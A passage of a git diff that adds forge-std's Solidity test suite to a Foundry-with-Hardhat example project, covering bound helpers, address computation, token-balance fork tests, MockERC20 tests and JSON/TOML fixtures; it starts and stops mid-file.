+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.expectRevert(bytes('StdUtils bound(uint256,uint256,uint256): Max is less than min.'));
+        stdUtils.exposed_bound(uint256(5), 100, 10);
+    }
+
+    function test_CannotBoundMaxLessThanMin(uint256 num, uint256 min, uint256 max) public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.assume(min > max);
+        vm.expectRevert(bytes('StdUtils bound(uint256,uint256,uint256): Max is less than min.'));
+        stdUtils.exposed_bound(num, min, max);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                     BOUND INT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BoundInt() public pure {
+        assertEq(bound(-3, 0, 4), 2);
+        assertEq(bound(0, -69, -69), -69);
+        assertEq(bound(0, -69, -68), -68);
+        assertEq(bound(-10, 150, 190), 154);
+        assertEq(bound(-300, 2800, 3200), 2908);
+        assertEq(bound(9999, -1337, 6666), 1995);
+    }
+
+    function test_BoundInt_WithinRange() public pure {
+        assertEq(bound(51, -50, 150), 51);
+        assertEq(bound(51, -50, 150), bound(bound(51, -50, 150), -50, 150));
+        assertEq(bound(149, -50, 150), 149);
+        assertEq(bound(149, -50, 150), bound(bound(149, -50, 150), -50, 150));
+    }
+
+    function test_BoundInt_EdgeCoverage() public pure {
+        assertEq(bound(type(int256).min, -50, 150), -50);
+        assertEq(bound(type(int256).min + 1, -50, 150), -49);
+        assertEq(bound(type(int256).min + 2, -50, 150), -48);
+        assertEq(bound(type(int256).min + 3, -50, 150), -47);
+        assertEq(bound(type(int256).min, 10, 150), 10);
+        assertEq(bound(type(int256).min + 1, 10, 150), 11);
+        assertEq(bound(type(int256).min + 2, 10, 150), 12);
+        assertEq(bound(type(int256).min + 3, 10, 150), 13);
+
+        assertEq(bound(type(int256).max, -50, 150), 150);
+        assertEq(bound(type(int256).max - 1, -50, 150), 149);
+        assertEq(bound(type(int256).max - 2, -50, 150), 148);
+        assertEq(bound(type(int256).max - 3, -50, 150), 147);
+        assertEq(bound(type(int256).max, -50, -10), -10);
+        assertEq(bound(type(int256).max - 1, -50, -10), -11);
+        assertEq(bound(type(int256).max - 2, -50, -10), -12);
+        assertEq(bound(type(int256).max - 3, -50, -10), -13);
+    }
+
+    function test_BoundInt_DistributionIsEven(int256 min, uint256 size) public pure {
+        size = (size % 100) + 1;
+        min = bound(min, -int256(size / 2), int256(size - size / 2));
+        int256 max = min + int256(size) - 1;
+        int256 result;
+
+        for (uint256 i = 1; i <= size * 4; ++i) {
+            // x > max
+            result = bound(max + int256(i), min, max);
+            assertEq(result, min + int256((i - 1) % size));
+            // x < min
+            result = bound(min - int256(i), min, max);
+            assertEq(result, max - int256((i - 1) % size));
+        }
+    }
+
+    function test_BoundInt(int256 num, int256 min, int256 max) public pure {
+        if (min > max) (min, max) = (max, min);
+
+        int256 result = bound(num, min, max);
+
+        assertGe(result, min);
+        assertLe(result, max);
+        assertEq(result, bound(result, min, max));
+        if (num >= min && num <= max) assertEq(result, num);
+    }
+
+    function test_BoundIntInt256Max() public pure {
+        assertEq(bound(0, type(int256).max - 1, type(int256).max), type(int256).max - 1);
+        assertEq(bound(1, type(int256).max - 1, type(int256).max), type(int256).max);
+    }
+
+    function test_BoundIntInt256Min() public pure {
+        assertEq(bound(0, type(int256).min, type(int256).min + 1), type(int256).min);
+        assertEq(bound(1, type(int256).min, type(int256).min + 1), type(int256).min + 1);
+    }
+
+    function test_CannotBoundIntMaxLessThanMin() public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.expectRevert(bytes('StdUtils bound(int256,int256,int256): Max is less than min.'));
+        stdUtils.exposed_bound(-5, 100, 10);
+    }
+
+    function test_CannotBoundIntMaxLessThanMin(int256 num, int256 min, int256 max) public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.assume(min > max);
+        vm.expectRevert(bytes('StdUtils bound(int256,int256,int256): Max is less than min.'));
+        stdUtils.exposed_bound(num, min, max);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                BOUND PRIVATE KEY
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BoundPrivateKey() public pure {
+        assertEq(boundPrivateKey(0), 1);
+        assertEq(boundPrivateKey(1), 1);
+        assertEq(boundPrivateKey(300), 300);
+        assertEq(boundPrivateKey(9999), 9999);
+        assertEq(boundPrivateKey(SECP256K1_ORDER - 1), SECP256K1_ORDER - 1);
+        assertEq(boundPrivateKey(SECP256K1_ORDER), 1);
+        assertEq(boundPrivateKey(SECP256K1_ORDER + 1), 2);
+        assertEq(boundPrivateKey(UINT256_MAX), UINT256_MAX & (SECP256K1_ORDER - 1)); // x&y is equivalent to x-x%y
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                   BYTES TO UINT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BytesToUint() external pure {
+        bytes memory maxUint = hex'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
+        bytes memory two = hex'02';
+        bytes memory millionEther = hex'd3c21bcecceda1000000';
+
+        assertEq(bytesToUint(maxUint), type(uint256).max);
+        assertEq(bytesToUint(two), 2);
+        assertEq(bytesToUint(millionEther), 1_000_000 ether);
+    }
+
+    function test_CannotConvertGT32Bytes() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        bytes memory thirty3Bytes = hex'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
+        vm.expectRevert('StdUtils bytesToUint(bytes): Bytes length exceeds 32.');
+        stdUtils.exposed_bytesToUint(thirty3Bytes);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                               COMPUTE CREATE ADDRESS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_ComputeCreateAddress() external pure {
+        address deployer = 0x6C9FC64A53c1b71FB3f9Af64d1ae3A4931A5f4E9;
+        uint256 nonce = 14;
+        address createAddress = computeCreateAddress(deployer, nonce);
+        assertEq(createAddress, 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                              COMPUTE CREATE2 ADDRESS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_ComputeCreate2Address() external pure {
+        bytes32 salt = bytes32(uint256(31415));
+        bytes32 initcodeHash = keccak256(abi.encode(0x6080));
+        address deployer = 0x6C9FC64A53c1b71FB3f9Af64d1ae3A4931A5f4E9;
+        address create2Address = computeCreate2Address(salt, initcodeHash, deployer);
+        assertEq(create2Address, 0xB147a5d25748fda14b463EB04B111027C290f4d3);
+    }
+
+    function test_ComputeCreate2AddressWithDefaultDeployer() external pure {
+        bytes32 salt = 0xc290c670fde54e5ef686f9132cbc8711e76a98f0333a438a92daa442c71403c0;
+        bytes32 initcodeHash = hashInitCode(hex'6080', '');
+        assertEq(initcodeHash, 0x1a578b7a4b0b5755db6d121b4118d4bc68fe170dca840c59bc922f14175a76b0);
+        address create2Address = computeCreate2Address(salt, initcodeHash);
+        assertEq(create2Address, 0xc0ffEe2198a06235aAbFffe5Db0CacF1717f5Ac6);
+    }
+}
+
+contract StdUtilsForkTest is Test {
+    /*//////////////////////////////////////////////////////////////////////////
+                                  GET TOKEN BALANCES
+    //////////////////////////////////////////////////////////////////////////*/
+
+    address internal SHIB = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE;
+    address internal SHIB_HOLDER_0 = 0x855F5981e831D83e6A4b4EBFCAdAa68D92333170;
+    address internal SHIB_HOLDER_1 = 0x8F509A90c2e47779cA408Fe00d7A72e359229AdA;
+    address internal SHIB_HOLDER_2 = 0x0e3bbc0D04fF62211F71f3e4C45d82ad76224385;
+
+    address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+    address internal USDC_HOLDER_0 = 0xDa9CE944a37d218c3302F6B82a094844C6ECEb17;
+    address internal USDC_HOLDER_1 = 0x3e67F4721E6d1c41a015f645eFa37BEd854fcf52;
+
+    function setUp() public {
+        // All tests of the `getTokenBalances` method are fork tests using live contracts.
+        vm.createSelectFork({urlOrAlias: 'mainnet', blockNumber: 16_428_900});
+    }
+
+    function test_CannotGetTokenBalances_NonTokenContract() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        // The UniswapV2Factory contract has neither a `balanceOf` function nor a fallback function,
+        // so the `balanceOf` call should revert.
+        address token = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
+        address[] memory addresses = new address[](1);
+        addresses[0] = USDC_HOLDER_0;
+
+        vm.expectRevert('Multicall3: call failed');
+        stdUtils.exposed_getTokenBalances(token, addresses);
+    }
+
+    function test_CannotGetTokenBalances_EOA() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        address eoa = vm.addr({privateKey: 1});
+        address[] memory addresses = new address[](1);
+        addresses[0] = USDC_HOLDER_0;
+        vm.expectRevert('StdUtils getTokenBalances(address,address[]): Token address is not a contract.');
+        stdUtils.exposed_getTokenBalances(eoa, addresses);
+    }
+
+    function test_GetTokenBalances_Empty() external {
+        address[] memory addresses = new address[](0);
+        uint256[] memory balances = getTokenBalances(USDC, addresses);
+        assertEq(balances.length, 0);
+    }
+
+    function test_GetTokenBalances_USDC() external {
+        address[] memory addresses = new address[](2);
+        addresses[0] = USDC_HOLDER_0;
+        addresses[1] = USDC_HOLDER_1;
+        uint256[] memory balances = getTokenBalances(USDC, addresses);
+        assertEq(balances[0], 159_000_000_000_000);
+        assertEq(balances[1], 131_350_000_000_000);
+    }
+
+    function test_GetTokenBalances_SHIB() external {
+        address[] memory addresses = new address[](3);
+        addresses[0] = SHIB_HOLDER_0;
+        addresses[1] = SHIB_HOLDER_1;
+        addresses[2] = SHIB_HOLDER_2;
+        uint256[] memory balances = getTokenBalances(SHIB, addresses);
+        assertEq(balances[0], 3_323_256_285_484.42e18);
+        assertEq(balances[1], 1_271_702_771_149.99999928e18);
+        assertEq(balances[2], 606_357_106_247e18);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/Vm.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/Vm.t.sol
new file mode 100644
index 000000000..8106a6bae
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/Vm.t.sol
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import {Test} from '../src/Test.sol';
+import {Vm, VmSafe} from '../src/Vm.sol';
+
+contract VmTest is Test {
+    // This test ensures that functions are never accidentally removed from a Vm interface, or
+    // inadvertently moved between Vm and VmSafe. This test must be updated each time a function is
+    // added to or removed from Vm or VmSafe.
+    function test_interfaceId() public pure {
+        assertEq(type(VmSafe).interfaceId, bytes4(0xce9c7617), 'VmSafe');
+        assertEq(type(Vm).interfaceId, bytes4(0xaf68a970), 'Vm');
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScript.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScript.sol
new file mode 100644
index 000000000..5cfacc872
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScript.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Script.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationScript is Script {}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScriptBase.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScriptBase.sol
new file mode 100644
index 000000000..eae51daff
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationScriptBase.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Script.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationScriptBase is ScriptBase {}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTest.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTest.sol
new file mode 100644
index 000000000..d8d497ef6
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTest.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Test.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationTest is Test {}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTestBase.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTestBase.sol
new file mode 100644
index 000000000..df1a21060
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/compilation/CompilationTestBase.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Test.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationTestBase is TestBase {}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/broadcast.log.json b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/broadcast.log.json
new file mode 100644
index 000000000..0a0200bca
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/broadcast.log.json
@@ -0,0 +1,187 @@
+{
+  "transactions": [
+    {
+      "hash": "0xc6006863c267735a11476b7f15b15bc718e117e2da114a2be815dd651e1a509f",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "function": "multiple_arguments(uint256,address,uint256[]):(uint256)",
+      "arguments": ["1", "0000000000000000000000000000000000001337", "[3,4]"],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+        "gas": "0x73b9",
+        "value": "0x0",
+        "data": "0x23e99187000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000013370000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004",
+        "nonce": "0x3",
+        "accessList": []
+      }
+    },
+    {
+      "hash": "0xedf2b38d8d896519a947a1acf720f859bb35c0c5ecb8dd7511995b67b9853298",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "function": "inc():(uint256)",
+      "arguments": [],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+        "gas": "0xdcb2",
+        "value": "0x0",
+        "data": "0x371303c0",
+        "nonce": "0x4",
+        "accessList": []
+      }
+    },
+    {
+      "hash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+      "function": "t(uint256):(uint256)",
+      "arguments": ["1"],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+        "gas": "0x8599",
+        "value": "0x0",
+        "data": "0xafe29f710000000000000000000000000000000000000000000000000000000000000001",
+        "nonce": "0x5",
+        "accessList": []
+      }
+    }
+  ],
+  "receipts": [
+    {
+      "transactionHash": "0x481dc86e40bba90403c76f8e144aa9ff04c1da2164299d0298573835f0991181",
+      "transactionIndex": "0x0",
+      "blockHash": "0xef0730448490304e5403be0fa8f8ce64f118e9adcca60c07a2ae1ab921d748af",
+      "blockNumber": "0x1",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": null,
+      "cumulativeGasUsed": "0x13f3a",
+      "gasUsed": "0x13f3a",
+      "contractAddress": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x6a187183545b8a9e7f1790e847139379bf5622baff2cb43acf3f5c79470af782",
+      "transactionIndex": "0x0",
+      "blockHash": "0xf3acb96a90071640c2a8c067ae4e16aad87e634ea8d8bbbb5b352fba86ba0148",
+      "blockNumber": "0x2",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": null,
+      "cumulativeGasUsed": "0x45d80",
+      "gasUsed": "0x45d80",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x064ad173b4867bdef2fb60060bbdaf01735fbf10414541ea857772974e74ea9d",
+      "transactionIndex": "0x0",
+      "blockHash": "0x8373d02109d3ee06a0225f23da4c161c656ccc48fe0fcee931d325508ae73e58",
+      "blockNumber": "0x3",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x4e59b44847b379578588920ca78fbf26c0b4956c",
+      "cumulativeGasUsed": "0x45feb",
+      "gasUsed": "0x45feb",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xc6006863c267735a11476b7f15b15bc718e117e2da114a2be815dd651e1a509f",
+      "transactionIndex": "0x0",
+      "blockHash": "0x16712fae5c0e18f75045f84363fb6b4d9a9fe25e660c4ce286833a533c97f629",
+      "blockNumber": "0x4",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "cumulativeGasUsed": "0x5905",
+      "gasUsed": "0x5905",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xedf2b38d8d896519a947a1acf720f859bb35c0c5ecb8dd7511995b67b9853298",
+      "transactionIndex": "0x0",
+      "blockHash": "0x156b88c3eb9a1244ba00a1834f3f70de735b39e3e59006dd03af4fe7d5480c11",
+      "blockNumber": "0x5",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "cumulativeGasUsed": "0xa9c4",
+      "gasUsed": "0xa9c4",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+      "transactionIndex": "0x0",
+      "blockHash": "0xcf61faca67dbb2c28952b0b8a379e53b1505ae0821e84779679390cb8571cadb",
+      "blockNumber": "0x6",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+      "cumulativeGasUsed": "0x66c5",
+      "gasUsed": "0x66c5",
+      "contractAddress": null,
+      "logs": [
+        {
+          "address": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+          "topics": [
+            "0x0b2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b"
+          ],
+          "data": "0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000046865726500000000000000000000000000000000000000000000000000000000",
+          "blockHash": "0xcf61faca67dbb2c28952b0b8a379e53b1505ae0821e84779679390cb8571cadb",
+          "blockNumber": "0x6",
+          "transactionHash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+          "transactionIndex": "0x1",
+          "logIndex": "0x0",
+          "transactionLogIndex": "0x0",
+          "removed": false
+        }
+      ],
+      "status": "0x1",
+      "logsBloom": "0x00000000000800000000000000000010000000000000000000000000000180000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x11fbb10230c168ca1e36a7e5c69a6dbcd04fd9e64ede39d10a83e36ee8065c16",
+      "transactionIndex": "0x0",
+      "blockHash": "0xf1e0ed2eda4e923626ec74621006ed50b3fc27580dc7b4cf68a07ca77420e29c",
+      "blockNumber": "0x7",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x0000000000000000000000000000000000001337",
+      "cumulativeGasUsed": "0x5208",
+      "gasUsed": "0x5208",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    }
+  ],
+  "libraries": [
+    "src/Broadcast.t.sol:F:0x5fbdb2315678afecb367f032d93f642f64180aa3"
+  ],
+  "pending": [],
+  "path": "broadcast/Broadcast.t.sol/31337/run-latest.json",
+  "returns": {},
+  "timestamp": 1655140035
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.json b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.json
new file mode 100644
index 000000000..caebf6d96
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.json
@@ -0,0 +1,8 @@
+{
+  "a": 123,
+  "b": "test",
+  "c": {
+    "a": 123,
+    "b": "test"
+  }
+}
\ No newline at end of file
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.toml b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.toml
new file mode 100644
index 000000000..60692bc75
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/fixtures/test.toml
@@ -0,0 +1,6 @@
+a = 123
+b = "test"
+
+[c]
+a = 123
+b = "test"
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC20.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC20.t.sol
new file mode 100644
index 000000000..7d5190c7e
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC20.t.sol
@@ -0,0 +1,410 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import {MockERC20} from '../../src/mocks/MockERC20.sol';
+import {StdCheats} from '../../src/StdCheats.sol';
+import {Test} from '../../src/Test.sol';
+
+contract Token_ERC20 is MockERC20 {
+    constructor(string memory name, string memory symbol, uint8 decimals) {
+        initialize(name, symbol, decimals);
+    }
+
+    function mint(address to, uint256 value) public virtual {
+        _mint(to, value);
+    }
+
+    function burn(address from, uint256 value) public virtual {
+        _burn(from, value);
+    }
+}
+
+contract MockERC20Test is StdCheats, Test {
+    Token_ERC20 token;
+
+    bytes32 constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)');
+
+    function setUp() public {
+        token = new Token_ERC20('Token', 'TKN', 18);
+    }
+
+    function invariantMetadata() public view {
+        assertEq(token.name(), 'Token');
+        assertEq(token.symbol(), 'TKN');
+        assertEq(token.decimals(), 18);
+    }
+
+    function testMint() public {
+        token.mint(address(0xBEEF), 1e18);
+
+        assertEq(token.totalSupply(), 1e18);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testBurn() public {
+        token.mint(address(0xBEEF), 1e18);
+        token.burn(address(0xBEEF), 0.9e18);
+
+        assertEq(token.totalSupply(), 1e18 - 0.9e18);
+        assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);
+    }
+
+    function testApprove() public {
+        assertTrue(token.approve(address(0xBEEF), 1e18));
+
+        assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);
+    }
+
+    function testTransfer() public {
+        token.mint(address(this), 1e18);
+
+        assertTrue(token.transfer(address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), 1e18);
+
+        assertTrue(token.transferFrom(from, address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.allowance(from, address(this)), 0);
+
+        assertEq(token.balanceOf(from), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testInfiniteApproveTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), type(uint256).max);
+
+        assertTrue(token.transferFrom(from, address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.allowance(from, address(this)), type(uint256).max);
+
+        assertEq(token.balanceOf(from), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testPermit() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+
+        assertEq(token.allowance(owner, address(0xCAFE)), 1e18);
+        assertEq(token.nonces(owner), 1);
+    }
+
+    function testFailTransferInsufficientBalance() public {
+        token.mint(address(this), 0.9e18);
+        token.transfer(address(0xBEEF), 1e18);
+    }
+
+    function testFailTransferFromInsufficientAllowance() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), 0.9e18);
+
+        token.transferFrom(from, address(0xBEEF), 1e18);
+    }
+
+    function testFailTransferFromInsufficientBalance() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 0.9e18);
+
+        vm.prank(from);
+        token.approve(address(this), 1e18);
+
+        token.transferFrom(from, address(0xBEEF), 1e18);
+    }
+
+    function testFailPermitBadNonce() public {
